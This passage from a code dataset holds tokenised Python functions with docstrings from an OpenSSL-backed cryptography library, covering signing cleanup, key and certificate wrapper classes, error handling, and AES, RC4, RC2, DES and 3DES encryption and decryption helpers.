libcrypto.EVP_PKEY_CTX_ctrl(<EOL>evp_pkey_ctx_pointer,<EOL>LibcryptoConst.EVP_PKEY_RSA,<EOL>LibcryptoConst.EVP_PKEY_OP_SIGN | LibcryptoConst.EVP_PKEY_OP_VERIFY,<EOL>LibcryptoConst.EVP_PKEY_CTRL_RSA_PSS_SALTLEN,<EOL>-<NUM_LIT:1>,<EOL>null()<EOL>)<EOL>handle_openssl_error(res)<EOL><DEDENT>res = libcrypto.EVP_DigestUpdate(evp_md_ctx, data, len(data))<EOL>handle_openssl_error(res)<EOL>res = libcrypto.EVP_DigestSignFinal(evp_md_ctx, signature_buffer, signature_length)<EOL>handle_openssl_error(res)<EOL>signature_length = deref(signature_length)<EOL><DEDENT>return bytes_from_buffer(signature_buffer, signature_length)<EOL><DEDENT>finally:<EOL><INDENT>if evp_md_ctx:<EOL><INDENT>if libcrypto_version_info < (<NUM_LIT:1>, <NUM_LIT:1>):<EOL><INDENT>libcrypto.EVP_MD_CTX_destroy(evp_md_ctx)<EOL><DEDENT>else:<EOL><INDENT>libcrypto.EVP_MD_CTX_free(evp_md_ctx)<EOL><DEDENT><DEDENT>if rsa:<EOL><INDENT>libcrypto.RSA_free(rsa)<EOL><DEDENT>if dsa:<EOL><INDENT>libcrypto.DSA_free(dsa)<EOL><DEDENT>if dsa_sig:<EOL><INDENT>libcrypto.DSA_SIG_free(dsa_sig)<EOL><DEDENT>if ec_key:<EOL><INDENT>libcrypto.EC_KEY_free(ec_key)<EOL><DEDENT>if ecdsa_sig:<EOL><INDENT>libcrypto.ECDSA_SIG_free(ecdsa_sig)<EOL><DEDENT><DEDENT>", "docstring": "Generates an RSA, DSA or ECDSA signature\n\n:param private_key:\n    The PrivateKey to generate the signature with\n\n:param data:\n    A byte string of the data the signature is for\n\n:param hash_algorithm:\n    A unicode string of \"md5\", \"sha1\", \"sha224\", \"sha256\", \"sha384\" or \"sha512\"\n\n:param rsa_pss_padding:\n    If the private_key is an RSA key, this enables PSS padding\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the signature", "id": "f9533:m23"}
{"signature": "def __init__(self, evp_pkey, asn1):", "body": "self.evp_pkey = evp_pkey<EOL>self.asn1 = asn1<EOL>self._lib = libcrypto<EOL>", "docstring": ":param evp_pkey:\n    An OpenSSL EVP_PKEY value from loading/importing the key\n\n:param asn1:\n    An asn1crypto.keys.PrivateKeyInfo object", "id": "f9533:c0:m0"}
{"signature": "@property<EOL><INDENT>def algorithm(self):<DEDENT>", "body": "return self.asn1.algorithm<EOL>", "docstring": ":return:\n    A unicode string of \"rsa\", \"dsa\" or \"ec\"", "id": "f9533:c0:m1"}
{"signature": "@property<EOL><INDENT>def curve(self):<DEDENT>", "body": "return self.asn1.curve[<NUM_LIT:1>]<EOL>", "docstring": ":return:\n    A unicode string of EC curve name", "id": "f9533:c0:m2"}
{"signature": "@property<EOL><INDENT>def bit_size(self):<DEDENT>", "body": "return self.asn1.bit_size<EOL>", "docstring": ":return:\n    The number of bits in the key, as an integer", "id": "f9533:c0:m3"}
{"signature": "@property<EOL><INDENT>def byte_size(self):<DEDENT>", "body": "return self.asn1.byte_size<EOL>", "docstring": ":return:\n    The number of bytes in the key, as an integer", "id": "f9533:c0:m4"}
{"signature": "def __init__(self, evp_pkey, asn1):", "body": "PrivateKey.__init__(self, evp_pkey, asn1)<EOL>", "docstring": ":param evp_pkey:\n    An OpenSSL EVP_PKEY value from loading/importing the key\n\n:param asn1:\n    An asn1crypto.keys.PublicKeyInfo object", "id": "f9533:c1:m0"}
{"signature": "def __init__(self, x509, asn1):", "body": "self.x509 = x509<EOL>self.asn1 = asn1<EOL>self._lib = libcrypto<EOL>", "docstring": ":param x509:\n    An OpenSSL X509 value from loading/importing the certificate\n\n:param asn1:\n    An asn1crypto.x509.Certificate object", "id": "f9533:c2:m0"}
{"signature": "@property<EOL><INDENT>def algorithm(self):<DEDENT>", "body": "return self.public_key.algorithm<EOL>", "docstring": ":return:\n    A unicode string of \"rsa\", \"dsa\" or \"ec\"", "id": "f9533:c2:m1"}
{"signature": "@property<EOL><INDENT>def curve(self):<DEDENT>", "body": "return self.public_key.curve<EOL>", "docstring": ":return:\n    A unicode string of EC curve name", "id": "f9533:c2:m2"}
{"signature": "@property<EOL><INDENT>def bit_size(self):<DEDENT>", "body": "return self.public_key.bit_size<EOL>", "docstring": ":return:\n    The number of bits in the public key, as an integer", "id": "f9533:c2:m3"}
{"signature": "@property<EOL><INDENT>def byte_size(self):<DEDENT>", "body": "return self.public_key.byte_size<EOL>", "docstring": ":return:\n    The number of bytes in the public key, as an integer", "id": "f9533:c2:m4"}
{"signature": "@property<EOL><INDENT>def evp_pkey(self):<DEDENT>", "body": "return self.public_key.evp_pkey<EOL>", "docstring": ":return:\n    The EVP_PKEY of the public key this certificate contains", "id": "f9533:c2:m5"}
{"signature": "@property<EOL><INDENT>def public_key(self):<DEDENT>", "body": "if not self._public_key and self.x509:<EOL><INDENT>evp_pkey = libcrypto.X509_get_pubkey(self.x509)<EOL>self._public_key = PublicKey(evp_pkey, self.asn1['<STR_LIT>']['<STR_LIT>'])<EOL><DEDENT>return self._public_key<EOL>", "docstring": ":return:\n    The PublicKey object for the public key this certificate contains", "id": "f9533:c2:m6"}
{"signature": "@property<EOL><INDENT>def self_signed(self):<DEDENT>", "body": "if self._self_signed is None:<EOL><INDENT>self._self_signed = False<EOL>if self.asn1.self_signed in set(['<STR_LIT:yes>', '<STR_LIT>']):<EOL><INDENT>signature_algo = self.asn1['<STR_LIT>'].signature_algo<EOL>hash_algo = self.asn1['<STR_LIT>'].hash_algo<EOL>if signature_algo == '<STR_LIT>':<EOL><INDENT>verify_func = rsa_pkcs1v15_verify<EOL><DEDENT>elif signature_algo == '<STR_LIT>':<EOL><INDENT>verify_func = dsa_verify<EOL><DEDENT>elif signature_algo == '<STR_LIT>':<EOL><INDENT>verify_func = ecdsa_verify<EOL><DEDENT>else:<EOL><INDENT>raise OSError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>signature_algo<EOL>))<EOL><DEDENT>try:<EOL><INDENT>verify_func(<EOL>self.public_key,<EOL>self.asn1['<STR_LIT>'].native,<EOL>self.asn1['<STR_LIT>'].dump(),<EOL>hash_algo<EOL>)<EOL>self._self_signed = True<EOL><DEDENT>except (SignatureError):<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>return self._self_signed<EOL>", "docstring": ":return:\n    A boolean - if the certificate is self-signed", "id": "f9533:c2:m7"}
{"signature": "def handle_openssl_error(result, exception_class=None):", "body": "if result > <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>if exception_class is None:<EOL><INDENT>exception_class = OSError<EOL><DEDENT>error_num = libcrypto.ERR_get_error()<EOL>buffer = buffer_from_bytes(<NUM_LIT>)<EOL>libcrypto.ERR_error_string(error_num, buffer)<EOL>error_string = byte_string_from_buffer(buffer)<EOL>raise exception_class(_try_decode(error_string))<EOL>", "docstring": "Checks if an error occured, and if so throws an OSError containing the\nlast OpenSSL error message\n\n:param result:\n    An integer result code - 1 or greater indicates success\n\n:param exception_class:\n    The exception class to use for the exception if an error occurred\n\n:raises:\n    OSError - when an OpenSSL error occurs", "id": "f9535:m1"}
{"signature": "def peek_openssl_error():", "body": "error = libcrypto.ERR_peek_error()<EOL>lib = int((error >> <NUM_LIT>) & <NUM_LIT>)<EOL>func = int((error >> <NUM_LIT:12>) & <NUM_LIT>)<EOL>reason = int(error & <NUM_LIT>)<EOL>return (lib, func, reason)<EOL>", "docstring": "Peeks into the error stack and pulls out the lib, func and reason\n\n:return:\n    A three-element tuple of integers (lib, func, reason)", "id": "f9535:m2"}
{"signature": "def aes_cbc_no_padding_encrypt(key, data, iv):", "body": "cipher = _calculate_aes_cipher(key)<EOL>if not iv:<EOL><INDENT>iv = rand_bytes(<NUM_LIT:16>)<EOL><DEDENT>elif len(iv) != <NUM_LIT:16>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(iv)<EOL>))<EOL><DEDENT>if len(data) % <NUM_LIT:16> != <NUM_LIT:0>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(data)<EOL>))<EOL><DEDENT>return (iv, _encrypt(cipher, key, data, iv, False))<EOL>", "docstring": "Encrypts plaintext using AES in CBC mode with a 128, 192 or 256 bit key and\nno padding. This means the ciphertext must be an exact multiple of 16 bytes\nlong.\n\n:param key:\n    The encryption key - a byte string either 16, 24 or 32 bytes long\n\n:param data:\n    The plaintext - a byte string\n\n:param iv:\n    The initialization vector - either a byte string 16-bytes long or None\n    to generate an IV\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by OpenSSL\n\n:return:\n    A tuple of two byte strings (iv, ciphertext)", "id": "f9537:m0"}
{"signature": "def aes_cbc_no_padding_decrypt(key, data, iv):", "body": "cipher = _calculate_aes_cipher(key)<EOL>if len(iv) != <NUM_LIT:16>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(iv)<EOL>))<EOL><DEDENT>return _decrypt(cipher, key, data, iv, False)<EOL>", "docstring": "Decrypts AES ciphertext in CBC mode using a 128, 192 or 256 bit key and no\npadding.\n\n:param key:\n    The encryption key - a byte string either 16, 24 or 32 bytes long\n\n:param data:\n    The ciphertext - a byte string\n\n:param iv:\n    The initialization vector - a byte string 16-bytes long\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by OpenSSL\n\n:return:\n    A byte string of the plaintext", "id": "f9537:m1"}
{"signature": "def aes_cbc_pkcs7_encrypt(key, data, iv):", "body": "cipher = _calculate_aes_cipher(key)<EOL>if not iv:<EOL><INDENT>iv = rand_bytes(<NUM_LIT:16>)<EOL><DEDENT>elif len(iv) != <NUM_LIT:16>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(iv)<EOL>))<EOL><DEDENT>return (iv, _encrypt(cipher, key, data, iv, True))<EOL>", "docstring": "Encrypts plaintext using AES in CBC mode with a 128, 192 or 256 bit key and\nPKCS#7 padding.\n\n:param key:\n    The encryption key - a byte string either 16, 24 or 32 bytes long\n\n:param data:\n    The plaintext - a byte string\n\n:param iv:\n    The initialization vector - either a byte string 16-bytes long or None\n    to generate an IV\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by OpenSSL\n\n:return:\n    A tuple of two byte strings (iv, ciphertext)", "id": "f9537:m2"}
{"signature": "def aes_cbc_pkcs7_decrypt(key, data, iv):", "body": "cipher = _calculate_aes_cipher(key)<EOL>if len(iv) != <NUM_LIT:16>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(iv)<EOL>))<EOL><DEDENT>return _decrypt(cipher, key, data, iv, True)<EOL>", "docstring": "Decrypts AES ciphertext in CBC mode using a 128, 192 or 256 bit key\n\n:param key:\n    The encryption key - a byte string either 16, 24 or 32 bytes long\n\n:param data:\n    The ciphertext - a byte string\n\n:param iv:\n    The initialization vector - a byte string 16-bytes long\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by OpenSSL\n\n:return:\n    A byte string of the plaintext", "id": "f9537:m3"}
{"signature": "def _calculate_aes_cipher(key):", "body": "if len(key) not in [<NUM_LIT:16>, <NUM_LIT>, <NUM_LIT:32>]:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(key)<EOL>))<EOL><DEDENT>if len(key) == <NUM_LIT:16>:<EOL><INDENT>cipher = '<STR_LIT>'<EOL><DEDENT>elif len(key) == <NUM_LIT>:<EOL><INDENT>cipher = '<STR_LIT>'<EOL><DEDENT>elif len(key) == <NUM_LIT:32>:<EOL><INDENT>cipher = '<STR_LIT>'<EOL><DEDENT>return cipher<EOL>", "docstring": "Determines if the key is a valid AES 128, 192 or 256 key\n\n:param key:\n    A byte string of the key to use\n\n:raises:\n    ValueError - when an invalid key is provided\n\n:return:\n    A unicode string of the AES variation - \"aes128\", \"aes192\" or \"aes256\"", "id": "f9537:m4"}
{"signature": "def rc4_encrypt(key, data):", "body": "if len(key) < <NUM_LIT:5> or len(key) > <NUM_LIT:16>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(key)<EOL>))<EOL><DEDENT>return _encrypt('<STR_LIT>', key, data, None, None)<EOL>", "docstring": "Encrypts plaintext using RC4 with a 40-128 bit key\n\n:param key:\n    The encryption key - a byte string 5-16 bytes long\n\n:param data:\n    The plaintext - a byte string\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by OpenSSL\n\n:return:\n    A byte string of the ciphertext", "id": "f9537:m5"}
{"signature": "def rc4_decrypt(key, data):", "body": "if len(key) < <NUM_LIT:5> or len(key) > <NUM_LIT:16>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(key)<EOL>))<EOL><DEDENT>return _decrypt('<STR_LIT>', key, data, None, None)<EOL>", "docstring": "Decrypts RC4 ciphertext using a 40-128 bit key\n\n:param key:\n    The encryption key - a byte string 5-16 bytes long\n\n:param data:\n    The ciphertext - a byte string\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by OpenSSL\n\n:return:\n    A byte string of the plaintext", "id": "f9537:m6"}
{"signature": "def rc2_cbc_pkcs5_encrypt(key, data, iv):", "body": "if len(key) < <NUM_LIT:5> or len(key) > <NUM_LIT:16>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(key)<EOL>))<EOL><DEDENT>if not iv:<EOL><INDENT>iv = rand_bytes(<NUM_LIT:8>)<EOL><DEDENT>elif len(iv) != <NUM_LIT:8>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(iv)<EOL>))<EOL><DEDENT>return (iv, _encrypt('<STR_LIT>', key, data, iv, True))<EOL>", "docstring": "Encrypts plaintext using RC2 in CBC mode with a 40-128 bit key and PKCS#5\npadding.\n\n:param key:\n    The encryption key - a byte string 8 bytes long\n\n:param data:\n    The plaintext - a byte string\n\n:param iv:\n    The initialization vector - a byte string 8-bytes long or None\n    to generate an IV\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by OpenSSL\n\n:return:\n    A tuple of two byte strings (iv, ciphertext)", "id": "f9537:m7"}
{"signature": "def rc2_cbc_pkcs5_decrypt(key, data, iv):", "body": "if len(key) < <NUM_LIT:5> or len(key) > <NUM_LIT:16>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(key)<EOL>))<EOL><DEDENT>if len(iv) != <NUM_LIT:8>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(iv)<EOL>))<EOL><DEDENT>return _decrypt('<STR_LIT>', key, data, iv, True)<EOL>", "docstring": "Decrypts RC2 ciphertext ib CBC mode using a 40-128 bit key and PKCS#5\npadding.\n\n:param key:\n    The encryption key - a byte string 8 bytes long\n\n:param data:\n    The ciphertext - a byte string\n\n:param iv:\n    The initialization vector - a byte string 8 bytes long\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by OpenSSL\n\n:return:\n    A byte string of the plaintext", "id": "f9537:m8"}
{"signature": "def tripledes_cbc_pkcs5_encrypt(key, data, iv):", "body": "if len(key) != <NUM_LIT:16> and len(key) != <NUM_LIT>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(key)<EOL>))<EOL><DEDENT>if not iv:<EOL><INDENT>iv = rand_bytes(<NUM_LIT:8>)<EOL><DEDENT>elif len(iv) != <NUM_LIT:8>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(iv)<EOL>))<EOL><DEDENT>cipher = '<STR_LIT>'<EOL>if len(key) == <NUM_LIT:16>:<EOL><INDENT>key = key + key[<NUM_LIT:0>:<NUM_LIT:8>]<EOL>cipher = '<STR_LIT>'<EOL><DEDENT>return (iv, _encrypt(cipher, key, data, iv, True))<EOL>", "docstring": "Encrypts plaintext using 3DES in CBC mode using either the 2 or 3 key\nvariant (16 or 24 byte long key) and PKCS#5 padding.\n\n:param key:\n    The encryption key - a byte string 16 or 24 bytes long (2 or 3 key mode)\n\n:param data:\n    The plaintext - a byte string\n\n:param iv:\n    The initialization vector - a byte string 8-bytes long or None\n    to generate an IV\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by OpenSSL\n\n:return:\n    A tuple of two byte strings (iv, ciphertext)", "id": "f9537:m9"}
{"signature": "def tripledes_cbc_pkcs5_decrypt(key, data, iv):", "body": "if len(key) != <NUM_LIT:16> and len(key) != <NUM_LIT>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(key)<EOL>))<EOL><DEDENT>if len(iv) != <NUM_LIT:8>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(iv)<EOL>))<EOL><DEDENT>cipher = '<STR_LIT>'<EOL>if len(key) == <NUM_LIT:16>:<EOL><INDENT>key = key + key[<NUM_LIT:0>:<NUM_LIT:8>]<EOL>cipher = '<STR_LIT>'<EOL><DEDENT>return _decrypt(cipher, key, data, iv, True)<EOL>", "docstring": "Decrypts 3DES ciphertext in CBC mode using either the 2 or 3 key variant\n(16 or 24 byte long key) and PKCS#5 padding.\n\n:param key:\n    The encryption key - a byte string 16 or 24 bytes long (2 or 3 key mode)\n\n:param data:\n    The ciphertext - a byte string\n\n:param iv:\n    The initialization vector - a byte string 8-bytes long\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by OpenSSL\n\n:return:\n    A byte string of the plaintext", "id": "f9537:m10"}
{"signature": "def des_cbc_pkcs5_encrypt(key, data, iv):", "body": "if len(key) != <NUM_LIT:8>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(key)<EOL>))<EOL><DEDENT>if not iv:<EOL><INDENT>iv = rand_bytes(<NUM_LIT:8>)<EOL><DEDENT>elif len(iv) != <NUM_LIT:8>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(iv)<EOL>))<EOL><DEDENT>return (iv, _encrypt('<STR_LIT>', key, data, iv, True))<EOL>", "docstring": "Encrypts plaintext using DES in CBC mode with a 56 bit key and PKCS#5\npadding.\n\n:param key:\n    The encryption key - a byte string 8 bytes long (includes error correction bits)\n\n:param data:\n    The plaintext - a byte string\n\n:param iv:\n    The initialization vector - a byte string 8-bytes long or None\n    to generate an IV\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by OpenSSL\n\n:return:\n    A tuple of two byte strings (iv, ciphertext)", "id": "f9537:m11"}
{"signature": "def des_cbc_pkcs5_decrypt(key, data, iv):", "body": "if len(key) != <NUM_LIT:8>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(key)<EOL>))<EOL><DEDENT>if len(iv) != <NUM_LIT:8>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(iv)<EOL>))<EOL><DEDENT>return _decrypt('<STR_LIT>', key, data, iv, True)<EOL>", "docstring": "Decrypts DES ciphertext in CBC mode using a 56 bit key and PKCS#5 padding.\n\n:param key:\n    The encryption key - a byte string 8 bytes long (includes error correction bits)\n\n:param data:\n    The ciphertext - a byte string\n\n:param iv:\n    The initialization vector - a byte string 8-bytes long\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by OpenSSL\n\n:return:\n    A byte string of the plaintext", "id": "f9537:m12"}
{"signature": "def _encrypt(cipher, key, data, iv, padding):", "body": "if not isinstance(key, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(key)<EOL>))<EOL><DEDENT>if not isinstance(data, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(data)<EOL>))<EOL><DEDENT>if cipher != '<STR_LIT>' and not isinstance(iv, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(iv)<EOL>))<EOL><DEDENT>if cipher != '<STR_LIT>' and not padding:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>evp_cipher_ctx = None<EOL>try:<EOL><INDENT>evp_cipher_ctx = libcrypto.EVP_CIPHER_CTX_new()<EOL>if is_null(evp_cipher_ctx):<EOL><INDENT>handle_openssl_error(<NUM_LIT:0>)<EOL><DEDENT>evp_cipher, buffer_size = _setup_evp_encrypt_decrypt(cipher, data)<EOL>if iv is None:<EOL><INDENT>iv = null()<EOL><DEDENT>if cipher in set(['<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>res = libcrypto.EVP_EncryptInit_ex(evp_cipher_ctx, evp_cipher, null(), null(), null())<EOL>handle_openssl_error(res)<EOL>res = libcrypto.EVP_CIPHER_CTX_set_key_length(evp_cipher_ctx, len(key))<EOL>handle_openssl_error(res)<EOL>if cipher == '<STR_LIT>':<EOL><INDENT>res = libcrypto.EVP_CIPHER_CTX_ctrl(<EOL>evp_cipher_ctx,<EOL>LibcryptoConst.EVP_CTRL_SET_RC2_KEY_BITS,<EOL>len(key) * <NUM_LIT:8>,<EOL>null()<EOL>)<EOL>handle_openssl_error(res)<EOL><DEDENT>evp_cipher = null()<EOL><DEDENT>res = libcrypto.EVP_EncryptInit_ex(evp_cipher_ctx, evp_cipher, null(), key, iv)<EOL>handle_openssl_error(res)<EOL>if padding is not None:<EOL><INDENT>res = libcrypto.EVP_CIPHER_CTX_set_padding(evp_cipher_ctx, int(padding))<EOL>handle_openssl_error(res)<EOL><DEDENT>buffer = buffer_from_bytes(buffer_size)<EOL>output_length = new(libcrypto, '<STR_LIT>')<EOL>res = libcrypto.EVP_EncryptUpdate(evp_cipher_ctx, buffer, output_length, data, len(data))<EOL>handle_openssl_error(res)<EOL>output = bytes_from_buffer(buffer, deref(output_length))<EOL>res = libcrypto.EVP_EncryptFinal_ex(evp_cipher_ctx, buffer, output_length)<EOL>handle_openssl_error(res)<EOL>output += bytes_from_buffer(buffer, deref(output_length))<EOL>return output<EOL><DEDENT>finally:<EOL><INDENT>if evp_cipher_ctx:<EOL><INDENT>libcrypto.EVP_CIPHER_CTX_free(evp_cipher_ctx)<EOL><DEDENT><DEDENT>", "docstring": "Encrypts plaintext\n\n:param cipher:\n    A unicode string of \"aes128\", \"aes192\", \"aes256\", \"des\",\n    \"tripledes_2key\", \"tripledes_3key\", \"rc2\", \"rc4\"\n\n:param key:\n    The encryption key - a byte string 5-32 bytes long\n\n:param data:\n    The plaintext - a byte string\n\n:param iv:\n    The initialization vector - a byte string - unused for RC4\n\n:param padding:\n    Boolean, if padding should be used - unused for RC4\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by OpenSSL\n\n:return:\n    A byte string of the ciphertext", "id": "f9537:m13"}
{"signature": "def _decrypt(cipher, key, data, iv, padding):", "body": "if not isinstance(key, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(key)<EOL>))<EOL><DEDENT>if not isinstance(data, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(data)<EOL>))<EOL><DEDENT>if cipher != '<STR_LIT>' and not isinstance(iv, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(iv)<EOL>))<EOL><DEDENT>if cipher != '<STR_LIT>' and padding is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>evp_cipher_ctx = None<EOL>try:<EOL><INDENT>evp_cipher_ctx = libcrypto.EVP_CIPHER_CTX_new()<EOL>if is_null(evp_cipher_ctx):<EOL><INDENT>handle_openssl_error(<NUM_LIT:0>)<EOL><DEDENT>evp_cipher, buffer_size = _setup_evp_encrypt_decrypt(cipher, data)<EOL>if iv is None:<EOL><INDENT>iv = null()<EOL><DEDENT>if cipher in set(['<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>res = libcrypto.EVP_DecryptInit_ex(evp_cipher_ctx, evp_cipher, null(), null(), null())<EOL>handle_openssl_error(res)<EOL>res = libcrypto.EVP_CIPHER_CTX_set_key_length(evp_cipher_ctx, len(key))<EOL>handle_openssl_error(res)<EOL>if cipher == '<STR_LIT>':<EOL><INDENT>res = libcrypto.EVP_CIPHER_CTX_ctrl(<EOL>evp_cipher_ctx,<EOL>LibcryptoConst.EVP_CTRL_SET_RC2_KEY_BITS,<EOL>len(key) * <NUM_LIT:8>,<EOL>null()<EOL>)<EOL>handle_openssl_error(res)<EOL><DEDENT>evp_cipher = null()<EOL><DEDENT>res = libcrypto.EVP_DecryptInit_ex(evp_cipher_ctx, evp_cipher, null(), key, iv)<EOL>handle_openssl_error(res)<EOL>if padding is not None:<EOL><INDENT>res = libcrypto.EVP_CIPHER_CTX_set_padding(evp_cipher_ctx, int(padding))<EOL>handle_openssl_error(res)<EOL><DEDENT>buffer = buffer_from_bytes(buffer_size)<EOL>output_length = new(libcrypto, '<STR_LIT>')<EOL>res = libcrypto.EVP_DecryptUpdate(evp_cipher_ctx, buffer, output_length, data, len(data))<EOL>handle_openssl_error(res)<EOL>output = bytes_from_buffer(buffer, deref(output_length))<EOL>res = libcrypto.EVP_DecryptFinal_ex(evp_cipher_ctx, buffer, output_length)<EOL>handle_openssl_error(res)<EOL>output += bytes_from_buffer(buffer, deref(output_length))<EOL>return output<EOL><DEDENT>finally:<EOL><INDENT>if evp_cipher_ctx:<EOL><INDENT>libcrypto.EVP_CIPHER_CTX_free(evp_cipher_ctx)<EOL><DEDENT><DEDENT>", "docstring": "Decrypts AES/RC4/RC2/3DES/DES ciphertext\n\n:param cipher:\n    A unicode string of \"aes128\", \"aes192\", \"aes256\", \"des\",\n    \"tripledes_2key\", \"tripledes_3key\", \"rc2\", \"rc4\"\n\n:param key:\n    The encryption key - a byte string 5-32 bytes long\n\n:param data:\n    The ciphertext - a byte string\n\n:param iv:\n    The initialization vector - a byte string - unused for RC4\n\n:param padding:\n    Boolean, if padding should be used - unused for RC4\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by OpenSSL\n\n:return:\n    A byte string of the plaintext", "id": "f9537:m14"}
{"signature": "def _setup_evp_encrypt_decrypt(cipher, data):", "body": "evp_cipher = {<EOL>'<STR_LIT>': libcrypto.EVP_aes_128_cbc,<EOL>'<STR_LIT>': libcrypto.EVP_aes_192_cbc,<EOL>'<STR_LIT>': libcrypto.EVP_aes_256_cbc,<EOL>'<STR_LIT>': libcrypto.EVP_rc2_cbc,<EOL>'<STR_LIT>': libcrypto.EVP_rc4,<EOL>'<STR_LIT>': libcrypto.EVP_des_cbc,<EOL>'<STR_LIT>': libcrypto.EVP_des_ede_cbc,<EOL>'<STR_LIT>': libcrypto.EVP_des_ede3_cbc,<EOL>}[cipher]()<EOL>if cipher == '<STR_LIT>':<EOL><INDENT>buffer_size = len(data)<EOL><DEDENT>else:<EOL><INDENT>block_size = {<EOL>'<STR_LIT>': <NUM_LIT:16>,<EOL>'<STR_LIT>': <NUM_LIT:16>,<EOL>'<STR_LIT>': <NUM_LIT:16>,<EOL>'<STR_LIT>': <NUM_LIT:8>,<EOL>'<STR_LIT>': <NUM_LIT:8>,<EOL>'<STR_LIT>': <NUM_LIT:8>,<EOL>'<STR_LIT>': <NUM_LIT:8>,<EOL>}[cipher]<EOL>buffer_size = block_size * int(math.ceil(len(data) / block_size))<EOL><DEDENT>return (evp_cipher, buffer_size)<EOL>", "docstring": "Creates an EVP_CIPHER pointer object and determines the buffer size\nnecessary for the parameter specified.\n\n:param evp_cipher_ctx:\n    An EVP_CIPHER_CTX pointer\n\n:param cipher:\n    A unicode string of \"aes128\", \"aes192\", \"aes256\", \"des\",\n    \"tripledes_2key\", \"tripledes_3key\", \"rc2\", \"rc4\"\n\n:param key:\n    The key byte string\n\n:param data:\n    The plaintext or ciphertext as a byte string\n\n:param padding:\n    If padding is to be used\n\n:return:\n    A 2-element tuple with the first element being an EVP_CIPHER pointer\n    and the second being an integer that is the required buffer size", "id": "f9537:m15"}
